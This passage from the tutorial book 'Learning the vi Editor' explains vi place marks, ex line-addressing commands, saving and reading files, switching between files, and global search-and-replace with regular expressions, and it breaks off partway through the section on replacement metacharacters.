During a vi session, you can mark your place in the file with an invisible "bookmark," perform edits elsewhere, then return to your marked place. In command mode:

m x

Marks current position with x (x can be any letter).

'x

(apostrophe) Moves cursor to first character of line marked by x.

`x

(backquote) Moves cursor to character marked by x.

``

(backquotes) Returns to exact position of previous mark or context after a move.

''

(apostrophes) Returns to the beginning of the line of the previous mark or context. Place markers are set only during the current vi session; they are not stored in the file.

Previous: 4.3 Making Use of Buffers | Learning the vi Editor | Next: 4.5 Other Advanced Edits
4.3 Making Use of Buffers | Book Index | 4.5 Other Advanced Edits
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.5 Other Advanced Edits

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 4.4 Marking Your Place Chapter 4
Beyond the Basics 		Next: 5. Introducing the ex Editor

4.5 Other Advanced Edits

There are other advanced edits that you can execute with vi, but to use them you must first learn a bit more about the ex editor by reading the next chapter.

Previous: 4.4 Marking Your Place | Learning the vi Editor | Next: 5. Introducing the ex Editor
4.4 Marking Your Place | Book Index | 5. Introducing the ex Editor
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] Introducing the ex Editor

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 4.5 Other Advanced Edits Chapter 5 Next: 5.2 Editing with ex

5. Introducing the ex Editor

Contents:
ex Commands
Editing with ex
Saving and Exiting Files
Copying a File into Another File
Editing Multiple Files

If this is a handbook on vi, why would we include a chapter on another editor? ex is not really another editor. vi is the visual mode of the more general, underlying line editor, ex. Some ex commands can be useful to you while you are working in vi, for they can save you a lot of editing time. Most of these commands can be used without ever leaving vi.

You already know how to think of files as a sequence of numbered lines. ex simply gives you editing commands with greater mobility and scope. With ex you can move easily between files and transfer text from one file to another in a variety of ways. You can quickly edit blocks of text larger than a single screen. And with global replacement you can make substitutions throughout a file for a given pattern.

This chapter introduces ex and its commands. You will learn how to:

  • Move around a file by using line numbers.

  • Use ex commands to copy, move, and delete blocks of text.

  • Save files and parts of files.

  • Work with multiple files (reading in text or commands, traveling between files).

5.1 ex Commands

Long before vi or any other screen editor was invented, people communicated with computers on printing terminals, rather than on today's CRTs. Line numbers were a way to quickly identify a part of a file to be worked on, and line editors evolved to edit those files. A programmer or other computer user would typically print out a line (or lines) on the printing terminal, give the editing commands to change just that line, then reprint to check the edited line.

People rarely edit files on printing terminals any more, but some ex line editor commands are still useful to users of the more sophisticated visual editor built on top of ex. Although it is simpler to make most edits with vi, the line orientation of ex gives it an advantage when you want to make large-scale changes to more than one part of a file.

Before you start off simply memorizing ex commands (or worse, ignoring them), let's first take some of the mystery out of line editors. Seeing how ex works when it is invoked directly will help make sense of the sometimes obscure command syntax.

Open a file that is familiar to you and try a few ex commands. Just as you can invoke the vi editor on a file, you can invoke the ex line editor on a file. If you invoke ex, you will see a message about the total number of lines in the file, and a colon command prompt.

For example:

$ ex practice
"practice" 6 lines, 320 characters
:

You won't see any lines in the file unless you give an ex command that causes one or more lines to be displayed.

ex commands consist of a line address (which can simply be a line number) plus a command; they are finished with a carriage return. One of the most basic commands is p for print (to the screen). So, for example, if you type 1p at the prompt, you will see the first line of the file:

:1p
With a screen editor you can
:

In fact, you can leave off the p, because a line number by itself is equivalent to a print command for that line. To print more than one line, you can specify a range of line numbers (for example, 1,3 - two numbers separated by commas, with or without spaces in between). For example:

:1,3
With a screen editor you can
scroll the page, move the cursor,
delete lines, insert characters, and more,

A command without a line number is assumed to affect the current line. So, for example, the substitute command (s), which allows you to substitute one word for another, could be entered like this:

:1
With a screen editor you can
:s/screen/line/
With a line editor you can

Notice that the changed line is reprinted after the command is issued. You could also make the same change like this:

:1s/screen/line/
With a line editor you can

Even though you will be invoking ex commands from vi and will not be using them directly, it is worthwhile to spend a few minutes in ex itself. You will get a feel for how you need to tell the editor which line (or lines) to work on, as well as which command to execute.

After you have given a few ex commands on your practice file, you should invoke vi on that same file, so that you can see it in the more familiar visual mode. The command :vi will get you from ex to vi.

To invoke an ex command from vi, you must type the special bottom line character : (colon). Then type the command and press [RETURN] to execute it. So, for example, in the ex editor you move to a line simply by typing the number of the line at the colon prompt. To move to line 6 of a file using this command from within vi, enter:

:6

Press [RETURN].

Following the exercise, we will be discussing ex commands only as they are executed from vi.

5.1.1 Exercise: The ex Editor

At the UNIX prompt, invoke ex editor on a practice file | ex practice
A message appears | "practice" 6 lines 320 characters
Go to and print (display) first line | :1
Print (display) lines 1 through 3 | :1,3
Substitute screen for line on line 1 | :1s/screen/line
Invoke vi editor on file | :vi
Go to first line | :1

5.1.2 Problem Checklist

  • While editing in vi, you accidentally end up in the ex editor. A Q in the command mode of vi invokes ex. Any time you are in ex, the command :vi returns you to the vi editor.

Previous: 4.5 Other Advanced Edits | Learning the vi Editor | Next: 5.2 Editing with ex
4.5 Other Advanced Edits | Book Index | 5.2 Editing with ex
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.2 Editing with ex

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 5.1 ex Commands Chapter 5
Introducing the ex Editor 		Next: 5.3 Saving and Exiting Files

5.2 Editing with ex

Many ex commands that perform normal editing operations have an equivalent in vi that does the job more simply. Obviously, you will use dw or dd to delete a single word or line rather than using the delete command in ex. However, when you want to make changes that affect numerous lines, you will find the ex commands more useful. They allow you to modify large blocks of text with a single command.

These ex commands are listed below, along with abbreviations for those commands. Remember that in vi each ex command must be preceded with a colon. You can use the full command name or the abbreviation, whichever is easier to remember.
delete | d | Delete lines.
move | m | Move lines.
copy | co | Copy lines.
 | t | Copy lines (a synonym for co).
You can separate the different elements of an ex command with spaces, if you find the command easier to read that way. For example, you can separate line addresses, patterns, and commands in this way. You cannot, however, use a space as a separator inside a pattern or at the end of a substitute command.

5.2.1 Line Addresses

For each ex editing command, you have to tell ex which line number(s) to edit. And for the ex move and copy commands, you also need to tell ex where to move or copy the text to.

You can specify line addresses in several ways:

  • With explicit line numbers.

  • With symbols that help you to specify line numbers relative to your current position in the file.

  • With search patterns as addresses that identify the lines to be affected.

Let's look at some examples.

5.2.2 Defining a Range of Lines

You can use line numbers to define explicitly a line or range of lines. Addresses that use explicit numbers are called absolute line addresses. For example:
:3,18d | Delete lines 3 through 18.
:160,224m23 | Move lines 160 through 244 to follow line 23. (Like delete and put in vi.)
:23,29co100 | Copy lines 23 through 29 and put after line 100. (Like yank and put in vi.)
To make editing with line numbers easier, you can also display all line numbers on the left of the screen. The command:

:set number

or its abbreviation:

:set nu

displays line numbers. The file practice then appears:

1  With a screen editor
2  you can scroll the page,
3  move the cursor, delete lines,
4  insert characters and more

The displayed line numbers are not saved when you write a file, and they do not print if you print the file. Line numbers are displayed either until you quit the vi session or until you disable the set option:

:set nonumber

or:

:set nonu

To temporarily display the line numbers for a set of lines, you can use the # sign. For example:

:1,10#

would display the line numbers from line one to line ten.

As described in Chapter 3, Moving Around in a Hurry , you can also use the [CTRL-G] command to display the current line number. You can thus identify the line numbers corresponding to the start and end of a block of text by moving to the start of the block, typing [CTRL-G] then moving to the end of the block and typing [CTRL-G] again.

Yet another way to identify line numbers is with the ex = command:

:=

Print the total number of lines.

:.=

Print the line number of the current line.

:/pattern/=

Print the line number of the first line that matches pattern.

5.2.3 Line Addressing Symbols

You can also use symbols for line addresses. A dot (.) stands for the current line; $ stands for the last line of the file. % stands for every line in the file; it's the same as the combination 1,$. These symbols can also be combined with absolute line addresses. For example:

:.,$d

Delete from current line to end of file.

:20,.m$

Move from line 20 through the current line to the end of the file.

:%d

Delete all the lines in a file.

:%t$

Copy all lines and place them at the end of the file (making a consecutive duplicate).

In addition to an absolute line address, you can specify an address relative to the current line. The symbols + and - work like arithmetic operators. When placed before a number, these symbols add or subtract the value that follow. For example:

:.,.+20d

Delete from current line through the next 20 lines.

:226,$m.-2

Move lines 226 through the end of the file to two lines above the current line.

:.,+20#

Display line numbers from the current line to 20 lines further on in the file.

In fact, you don't need to type the dot (.) when you use + or -, because the current line is the assumed starting position.

Without a number following them, + and - are equivalent to +1 and -1, respectively. [1] Similarly, ++ and -- each extend the range by an additional line, and so on. The + and - can also be used with search patterns, as shown in the next section.

[1] In a relative address, you shouldn't separate the plus or minus symbol from the number that follows it. For example, +10 means "10 lines following," but + 10 means "11 lines following (1 + 10)," which is probably not what you mean.

The number 0 stands for the top of the file (imaginary line 0). 0 is equivalent to 1-, and both allow you to move or copy lines to the very start of a file, before the first line of existing text. For example:

:-,+t0

Copy three lines (the line above the cursor through the line below the cursor) and put them at the top of the file.

5.2.4 Search Patterns

Another way that ex can address lines is by using search patterns. For example:

:/pattern/d

Delete the next line containing pattern.

:/pattern/+d

Delete the line below the next line containing pattern. (You could also use +1 instead of + alone.)

:/pattern1/,/pattern2/d

Delete from the first line containing pattern1 through the first line containing pattern2.

:.,/pattern/m23

Take text from current line (.) through the first line containing pattern and put after line 23.

Note that patterns are delimited by a slash both before and after.

If you make deletions by pattern with vi and ex, there is a difference in the way the two editors operate. Suppose you have in your file practice the lines:
With a screen editor you can scroll the
page, move the cursor, delete lines, insert
characters and more, while seeing results
of your edits as you make them.

Keystrokes Results
d/while
With a screen editor you can scroll the
page, move the cursor, while seeing results
of your edits as you make them.

The vi delete to pattern command deletes from the cursor up to the word while but leaves the remainder of both lines.

:.,/while/d
With a screen editor you can scroll the
of your edits as you make them.

The ex command deletes the entire range of addressed lines; in this case both the current line and the line containing the pattern. All lines are deleted in their entirety.

5.2.5 Redefining the Current Line Position

Sometimes, using a relative line address in a command can give you unexpected results. For example, suppose the cursor is on line 1, and you want to print line 100 plus the five lines below it. If you type:

:100,+5 p

you'll get an error message saying, "First address exceeds second." The reason the command fails is that the second address is calculated relative to the current cursor position (line 1), so your command is really saying this:

:100,6 p

What you need is some way to tell the command to think of line 100 as the "current line," even though the cursor is on line 1.

ex provides such a way. When you use a semicolon instead of a comma, the first line address is recalculated as the current line. For example, the command:

:100;+5 p

prints the desired lines. The +5 is now calculated relative to line 100. A semicolon is useful with search patterns as well as absolute addresses. For example, to print the next line containing pattern, plus the 10 lines that follow it, enter the command:

:/pattern/;+10 p

5.2.6 Global Searches

You already know how to use / (slash) in vi to search for patterns of characters in your files. ex has a global command, g, that lets you search for a pattern and display all lines containing the pattern when it finds them. The command :g! does the opposite of :g. Use :g! (or its synonym :v) to search for all lines that do not contain pattern.

You can use the global command on all lines in the file, or you can use line addresses to limit a global search to specified lines or to a range of lines.

:g/pattern

Finds (moves to) the last occurrence of pattern in the file.

:g/pattern/p

Finds and displays all lines in the file containing pattern.

:g!/pattern/nu

Finds and displays all lines in the file that don't contain pattern; also displays line number for each line found.

:60,124g/pattern/p

Finds and displays any lines between lines 60 and 124 containing pattern.

As you might expect, g can also be used for global replacements. We'll talk about that in Chapter 6, Global Replacement .

5.2.7 Combining ex Commands

You don't always need to type a colon to begin a new ex command. In ex, the vertical bar (|) is a command separator, allowing you to combine multiple commands from the same ex prompt (in much the same way that a semicolon separates multiple commands at the UNIX shell prompt). When you use the |, keep track of the line addresses you specify. If one command affects the order of lines in the file, the next command does its work using the new line positions. For example:

:1,3d | s/thier/their/

Delete lines 1 through 3 (leaving you now on the top line of the file); then make a substitution on the current line (which was line 4 before you invoked the ex prompt).

:1,5 m 10 | g/pattern/nu

Move lines 1 through 5 after line 10, and then display all lines (with numbers) containing pattern.

Note the use of spaces to make the commands easier to see.

Previous: 5.1 ex Commands | Learning the vi Editor | Next: 5.3 Saving and Exiting Files
5.1 ex Commands | Book Index | 5.3 Saving and Exiting Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.3 Saving and Exiting Files

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 5.2 Editing with ex Chapter 5
Introducing the ex Editor 		Next: 5.4 Copying a File into Another File

5.3 Saving and Exiting Files

You have learned the vi command ZZ to quit and write (save) your file. But you will frequently want to exit a file using ex commands, because these commands give you greater control. We've already mentioned some of these commands in passing. Now let's take a more formal look.

:w

Writes (saves) the buffer to the file but does not exit. You can (and should) use :w throughout your editing session to protect your edits against system failure or a major editing error.

:q

Quits the file (and returns to the UNIX prompt).

:wq

Both writes and quits the file. Both writes and quits (exits) the file. It's the same as :wq.

vi protects existing files and your edits in the buffer. For example, if you want to write your buffer to an existing file, vi gives you a warning. Likewise, if you have invoked vi on a file, made edits, and want to quit without saving the edits, vi gives you an error message such as:

No write since last change.

These warnings can prevent costly mistakes, but sometimes you want to proceed with the command anyway. An exclamation point (!) after your command overrides the warning:

:w!
:q!

w! can also be used to save edits in a file that was opened in read-only mode with vi -R or view.

:q! is an essential editing command that allows you to quit without affecting the original file, regardless of any changes you made in this session. The contents of the buffer are discarded.

5.3.1 Renaming the Buffer

You can also use :w to save the entire buffer (the copy of the file you are editing) under a new filename.

Suppose you have a file practice, containing 600 lines. You open the file and make extensive edits. You want to quit but save both the old version of practice and your new edits for comparison. To save the edited buffer in a file called practice.new, give the command:

:w practice.new

Your old version, in the file practice, remains unchanged (provided that you didn't previously use :w). You can now quit the old version by typing :q.

5.3.2 Saving Part of a File

While editing, you will sometimes want to save just part of your file as a separate, new file. For example, you might have entered formatting codes and text that you want to use as a header for several files.

You can combine ex line addressing with the write command, w, to save part of a file. For example, if you are in the file practice and want to save part of practice as the file newfile, you could enter:

:230,$w newfile

Saves from line 230 to end of file in newfile.

:.,600w newfile

Saves from the current line to line 600 in newfile.

5.3.3 Appending to a Saved File

You can use the UNIX redirect and append operator (>>) with w to append all or part of the contents of the buffer to an existing file. For example, if you entered:

:1,10w newfile

then:

:340,$w >>newfile

newfile would contain lines 1-10 and from line 340 to the end of the buffer.

Previous: 5.2 Editing with ex | Learning the vi Editor | Next: 5.4 Copying a File into Another File
5.2 Editing with ex | Book Index | 5.4 Copying a File into Another File
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.4 Copying a File into Another File

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 5.3 Saving and Exiting Files Chapter 5
Introducing the ex Editor 		Next: 5.5 Editing Multiple Files

5.4 Copying a File into Another File

Sometimes you want to copy text or data already entered on the system into the file you are editing. In vi you can read in the contents of another file with the ex command:

:read filename

or its abbreviation:

:r filename

This command inserts the contents of filename starting on the line after the cursor position in the file. If you want to specify a line other than the one the cursor's on, simply type the line number (or other line address) you want before the read or r command.

Let's suppose you are editing the file practice and want to read in a file called data from another directory called /usr/tim. Position the cursor one line above the line where you want the new data inserted, and enter:

:r /usr/tim/data

The entire contents of /usr/tim/data are read into practice, beginning below the line with the cursor.

To read in the same file and place it after line 185, you would enter:

:185r /usr/tim/data

Here are other ways to read in a file:

:$r /usr/tim/data

Place the read-in file at the end of the current file.

:0r /usr/tim/data

Place the read-in file at the very beginning of the current file.

:/pattern/r /usr/tim/data

Place the read-in file in the current file, after the line containing pattern.

Previous: 5.3 Saving and Exiting Files | Learning the vi Editor | Next: 5.5 Editing Multiple Files
5.3 Saving and Exiting Files | Book Index | 5.5 Editing Multiple Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.5 Editing Multiple Files

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 5.4 Copying a File into Another File Chapter 5
Introducing the ex Editor 		Next: 6. Global Replacement

5.5 Editing Multiple Files

ex commands enable you to switch between multiple files. The advantage to editing multiple files is speed. When you are sharing the system with other users, it takes time to exit and reenter vi for each file you want to edit. Staying in the same editing session and traveling between files is not only faster for access, but you also save abbreviations and command sequences that you have defined (see Chapter 7, Advanced Editing , and you keep yank buffers so that you can copy text from one file to another.

5.5.1 Invoking vi on Multiple Files one

When you first invoke vi, you can name more than one file to edit, and then use ex commands to travel between the files.

$ vi file1 file2

invokes file1 first. After you have finished editing the first file, the ex command :w writes (saves) file1 and :n calls in the next file (file2).

Suppose you want to edit two files, practice and note.
Keystrokes Results
vi practice note
With a screen editor you can scroll the
the page, move the cursor, delete lines,
insert characters, and more, while seeing

Open the two files practice and note. The first-named file, practice, appears on your screen. Perform any edits.

:w
"practice" 6 lines 328 characters

Save the edited file practice with the ex command w. Press RETURN.

:n
Dear Mr.
Henshaw:
Thank you for the prompt . . .

Call in the next file, note, with the ex command n. Press RETURN. Perform any edits.

:x
"note" 23 lines 1343 characters

Save the second file, note, and quit the editing session.

5.5.2 Calling In New Files

You don't have to call in multiple files at the beginning of your editing session. You can switch to another file at any time with the ex command :e. If you want to edit another file within vi, you first need to save your current file (:w), then give the command:

:e filename

Suppose you are editing the file practice and want to edit the file letter, then return to practice.
Keystrokes Results
:w
"practice" 6 lines 328 characters

Save practice with w and press RETURN. practice is saved and remains on the screen. You can now switch to another file, because your edits are saved.

:e letter
"letter" 23 lines 1344 characters

Call in the file letter with e and press RETURN. Perform any edits.

vi "remembers" two filenames at a time as the current and alternate filenames. These can be referred to by the symbols % (current filename) and # (alternate filename). # is particularly useful with :e, since it allows you to switch easily back and forth between two files. In the example given just above, you could return to the first file, practice, by typing the command :e#. You could also read the file practice into the current file by typing :r#.

If you have not first saved the current file, vi will not allow you to switch files with :e or :n unless you tell it imperatively to do so by adding an exclamation point after the command.

For example, if after making some edits to letter, you wanted to discard the edits and return to practice, you could type :e!#.

The command:

:e!

is also useful. It discards your edits and returns to the last saved version of the current file.

In contrast to the # symbol, % is useful mainly when writing out the contents of the current buffer to a new file. For example, a few pages earlier, in the section "Renaming the Buffer," we showed how to save a second version of the file practice with the command:

:w practice.new

Since % stands for the current filename, the previous line could also have been typed:

:w %.new

5.5.3 Edits Between Files

When you give a yank buffer a one-letter name, you have a convenient way to move text from one file to another. Named buffers are not cleared when a new file is loaded into the vi buffer with the :e command. Thus, by yanking or deleting text from one file (into multiple named buffers if necessary), calling in a new file with :e, and putting the named buffer into the new file, you can transfer material between files.

The following example illustrates how to transfer text from one file to another.

Keystrokes Results
"f4yy
With a screen editor you can scroll
the page, move the cursor, delete lines,
insert characters, and more, while seeing
the results of the edits as you make them

Yank four lines into buffer f.

:w
"practice" 6 lines 238 characters

Save the file.

:e letter
Dear Mr.
Henshaw:
I thought that you would
be interested to know that:
Yours truly,

Enter the file letter with :e. Move cursor to where the copied text will be placed.

"fp
Dear Mr.
Henshaw:
I thought that you would
be interested to know that:
With a screen editor you can scroll
the page, move the cursor, delete lines,
insert characters, and more, while seeing
the results of the edits as you make them
Yours truly,

Place yanked text from named buffer f below the cursor.

Another way to move text from one file to another is to use the ex commands :ya (yank) and :pu (put). These commands work the same way as the equivalent vi commands y and p, but they are used with ex's line addressing capability and named buffers. For example:

:160,224ya  a

would yank (copy) lines 160 through 224 into buffer a. Next you would move with :e to the file where you want to put these lines. Place the cursor on the line where you want to put the yanked lines. Then type:

:pu a

to put the contents of buffer a after the current line.

Previous: 5.4 Copying a File into Another File | Learning the vi Editor | Next: 6. Global Replacement
5.4 Copying a File into Another File | Book Index | 6. Global Replacement
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] Global Replacement

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 5.5 Editing Multiple Files Chapter 6 Next: 6.2 Context-sensitive Replacement

6. Global Replacement

Contents:
Confirming Substitutions
Context-sensitive Replacement
Pattern-matching Rules
Pattern-matching Examples

Sometimes, halfway through a document or at the end of a draft, you may recognize inconsistencies in the way that you refer to certain things. Or, in a manual, some product whose name appears throughout your file is suddenly renamed (marketing!). Often enough it happens that you have to go back and change what you've already written, and you need to make the changes in several places.

The way to make these changes is with a powerful change command called global replacement. With one command you can automatically replace a word (or a string of characters) wherever it occurs in the file.

In a global replacement, the ex editor checks each line of a file for a given pattern of characters. On all lines where the pattern is found, ex replaces the pattern with a new string of characters. For right now, we'll treat the search pattern as if it were a simple string; later in the chapter we'll look at the powerful pattern-matching language known as regular expressions.

Global replacement really uses two ex commands: :g (global) and :s (substitute). Since the syntax of global replacement commands can get fairly complex, let's look at it in stages.

The substitute command has the syntax:

:s/old/new/

This changes the first occurrence of the pattern old to new on the current line. The / (slash) is the delimiter between the various parts of the command. (The slash is optional when it is the last character on the line.) A substitute command with the syntax:

:s/old/new/g

changes every occurrence of old to new on the current line, not just the first occurrence. The :s command allows options following the substitution string. The g option in the syntax above stands for global. (The g option affects each pattern on a line; don't confuse it with the :g command, which affects each line of a file.)

By prefixing the :s command with an address, you can extend its range to more than one line. For example:

:50,100s/old/new/g

will change every occurrence of old to new from line 50 to line 100.

The following command will change every occurrence of old to new within the entire file:

:1,$s/old/new/g

You can also use % instead of 1,$ to specify every line in a file. Thus the last command could also be given like this:

:%s/old/new/g

Global replacement is much faster than finding each instance of a string and replacing it individually. Because the command can be used to make many different kinds of changes, and because it is so powerful, we are first going to illustrate simple replacements and then build to complex, context-sensitive replacements.

6.1 Confirming Substitutions

It makes sense to be overly careful when using a search and replace command. It sometimes happens that what you get is not what you expect. You can undo any search and replacement command by entering u, provided that the command was the most recent edit you made. But you don't always catch undesired changes until it is too late to undo them. Another way to protect your edited file is to save the file with :w before performing a global replacement. Then at least you can quit the file without saving your edits and go back to where you were before the change was made. You can also read the previous version of the buffer back in with :e!.

It's wise to be cautious and know exactly what is going to be changed in your file. If you'd like to see what the search turns up and confirm each replacement before it is made, add the c option (for confirm) at the end of the substitute command:

:1,30s/his/the/gc

It will display the entire line where the string has been located, and the string will be marked by a series of carets (^^^^).

copyists at his school
              ^^^_

If you want to make the replacement, you must enter y (for yes) and press [RETURN] If you don't want to make a change, simply press [RETURN].

this can be used for invitations, signs, and menus.
   ^^^_

The combination of the vi commands n (repeat last search) and dot (.) (repeat last command) is also an extraordinarily useful and quick way to page through a file and make repetitive changes that you may not want to make globally. So, for example, if your editor has told you that you're using which when you should be using that, you can spot-check every occurrence of which, changing only those that are incorrect:
/which | Search for which.
cwthat [ESC] | Change to that.
n | Repeat search.
. | Repeat change (if appropriate).
 | .
 | .
 | .

Previous: 5.5 Editing Multiple Files | Learning the vi Editor | Next: 6.2 Context-sensitive Replacement
5.5 Editing Multiple Files | Book Index | 6.2 Context-sensitive Replacement
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.2 Context-sensitive Replacement

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 6.1 Confirming Substitutions Chapter 6
Global Replacement 		Next: 6.3 Pattern-matching Rules

6.2 Context-sensitive Replacement

The simplest global replacements substitute one word (or a phrase) for another. If you have typed a file with several misspellings (editer for editor), you can do the global replacement:

:%s/editer/editor/g

This substitutes editor for every occurrence of editer throughout the file.

There is a second, slightly more complex syntax for global replacement. This syntax lets you search for a pattern, and then, once you find the line with the pattern, make a substitution on a string different from the pattern. You can think of this as context-sensitive replacement.

The syntax is as follows:

:g/pattern/s/old/new/g

The first g tells the command to operate on all lines of a file. pattern identifies the lines on which a substitution is to take place. On those lines containing pattern, ex is to substitute (s) for old the characters in new. The last g indicates that the substitution is to occur globally on that line.

For example, in this handbook, the macro .BX places a box around [ESC] to show the ESCAPE key. You want [ESC] to be all in caps, but you don't want to change any instances of Escape that might be in the text. To change instances of Esc to ESC only when Esc is on a line starting with the .BX macro, you could enter:

:g/BX/s/Esc/ESC/g

If the pattern being used to find the line is the same as the one you want to change, you don't have to repeat it. The command:

:g/string/s//new/g

would search for lines containing string and substitute for that same string.

Note that:

:g/editer/s//editor/g

has the same effect as:

:%s/editer/editor/g

You can save some typing by using the second form. It is also possible to combine the :g command with :d, :mo, :co and other ex commands besides :s. As we'll show, you can thus make global deletions, moves and copies.

Previous: 6.1 Confirming Substitutions | Learning the vi Editor | Next: 6.3 Pattern-matching Rules
6.1 Confirming Substitutions | Book Index | 6.3 Pattern-matching Rules
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.3 Pattern-matching Rules

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 6.2 Context-sensitive Replacement Chapter 6
Global Replacement 		Next: 6.4 Pattern-matching Examples

6.3 Pattern-matching Rules

In making global replacements, UNIX editors such as vi allow you to search not just for fixed strings of characters, but also for variable patterns of words, referred to as regular expressions.

When you specify a literal string of characters, the search might turn up other occurrences that you didn't want to match. The problem with searching for words in a file is that a word can be used in different ways. Regular expressions help you conduct a search for words in context. Note that regular expressions can be used with the vi search commands / and ? as well as in the ex :g and :s commands. For the most part, the same regular expressions work with other UNIX programs such as grep, sed, and awk.

Regular expressions are made up by combining normal characters with a number of special characters called metacharacters. The meta\%characters and their uses are listed below.

6.3.1 Metacharacters Used in Search Patterns

.

Matches any single character except a newline (carriage return). Remember that spaces are treated as characters. For example, p.p matches character strings such as pep, pip, pcp.

*

Matches any number (or none) of the single character that immediately precedes it. For example, bugs* will match bugs (one s) or bug (no s's).

The character preceding the * can be one that is specified by a regular expression. For example, since . (dot) means any character, .* means "match any number of any character."

Here's a specific example of this. The command :s/End.*/End/ removes all characters after End (it replaces the remainder of the line with nothing).

^

Requires that the following regular expression be found at the beginning of the line; for example, ^Part matches Part when it occurs at the beginning of a line, and ^... matches the first three characters of a line.

$

Requires that the preceding regular expression be found at the end of the line; for example, here:$.

\

Treats the following special character as an ordinary character. For example, \. matches an actual period instead of "any single character," and \* matches an actual asterisk instead of "any number of a character." The \ (backslash) prevents the interpretation of a special character. This prevention is called "escaping the character."

[ ]

Matches any one of the characters enclosed between the brackets. For example, [AB] matches either A or B, and p[aeiou]t matches pat, pet, pit, pot, or put. A range of consecutive characters can be specified by separating the first and last characters in the range with a hyphen. For example, [A-Z] will match any uppercase letter from A to Z, and [0-9] will match any digit from 0 to 9.

You can include more than one range inside brackets, and you can specify a mix of ranges and separate characters. For example, [:;A-Za-z()] will match four different punctuation marks, plus all letters.

Most metacharacters lose their special meaning inside brackets, so you don't need to escape them if you want to use them as ordinary characters. Within brackets, the three metacharacters you still need to escape are \ - ]. (The hyphen (-) acquires meaning as a range specifier; to use an actual hyphen, you can also place it as the the first character inside the brackets.)

A caret (^) has special meaning only when it is the first character inside the brackets, but in this case the meaning differs from that of the normal ^ metacharacter. As the first character within brackets, a ^ reverses their sense: the brackets will match any one character not in the list. For example, [^a-z] matches any character that is not a lowercase letter.

\( \)

Saves the pattern enclosed between \( and \) into a special holding space or "hold buffer." Up to nine patterns can be saved in this way on a single line. For example, the pattern:

\(That\) or \(this\)

saves That in hold buffer number 1 and saves this in hold buffer number 2. The patterns held can be "replayed" in substitutions by the sequences \1 to \9. For example, to rephrase That or this to read this or That, you could enter:

:%s/\(That\) or \(this\)/\2 or \1/

\<  \>

Matches characters at the beginning (\<) or at the end (\>) of a word. The end or beginning of a word is determined either by a punctuation mark or by a space. For example, the expression \<ac will match only words that begin with ac, such as action. The expression ac\> will match only words that end with ac, such as maniac. Neither expression will match react.

~

Matches whatever regular expression was used in the last search. For example, if you searched for The, you could search for Then with /~n. Note that you can use this pattern only in a regular search (with /). It won't work as the pattern in a substitute command. It does, however, have a similar meaning in the replacement portion of a substitute command.

6.3.2 Metacharacters Used in Replacement Strings

When you make global replacements, the regular expressions above carry their special meaning only within the search portion (the first part) of the command. For example, when you type this:

:%s/1\.  Start/2.  Next, start with $100/

note that the replacement string understands the characters . and $, without your having to escape them. By the same token, let's say you enter:

:%s/[ABC]/[abc]/g

If you're hoping to replace A with a, B with b, and C with c, you're in for a surprise. Since brackets behave like ordinary characters in a replacement string, this command will change every occurrence of A, B, or C to the five-character string [abc].

To solve problems like this, you need a way to specify variable replacement strings. Fortunately, there are additional regular expressions that have special meaning in a replacement string.

\n

Matches the nth pattern previously saved by \( and \), where n is a number from 1 to 9, and previously saved patterns are counted from the left on the line. See the explanation for \( and \) in the previous section.

\

Treats the following special character as an ordinary character. Backslashes are metacharacters in replacement strings as well as in search patterns. To specify a real backslash, type two in a row (\\).

&

Prints the entire search pattern when used in a replacement string. This is useful when you want to avoid retyping text:

:%s/Yazstremski/&, Carl/

The replacement will say Yazstremski, Carl. The & can also replace a variable pattern (as specified by a regular expression). For example, to surround each line from 1 to 10 with parentheses, type:

:1,10s/.*/(&)/

The search pattern matches the whole line, and the & "replays" the line, followed by your text.

~

Has a similar meaning as when it is used in a search pattern; the string found is replaced with the replacement text specified in the last substitute command. This is useful for repeating an edit. For example, you could say :s/thier/their/ on one line and repeat the change on another with :s/thier/~/. The search pattern doesn't need to be the same, though. For example, you could say :s/his/their/ on one line and repeat the replacement on another with :s/her/~/.

\u or \l

Causes the next character in the replacement string to be changed to uppercase or lowercase, respectively. For example, to change yes, doctor into Yes, Doctor, you could say:

:%s/yes, doctor/\uyes, \udoctor/

This is a pointless example, though, since it's easier just to type the replacement string with initial caps in the first place. As with any regular expression, \u and \l are most useful with a variable string. Take, for example, the command we used earlier:

:%s/\(That\) or \(this\)/\2 or \1/

The result is this or That, but we need to adjust the cases. We'll use \u to uppercase the first letter in this (currently saved in hold buffer 2); we'll use \l to lowercase the first letter in That (currently saved in hold buffer 1):

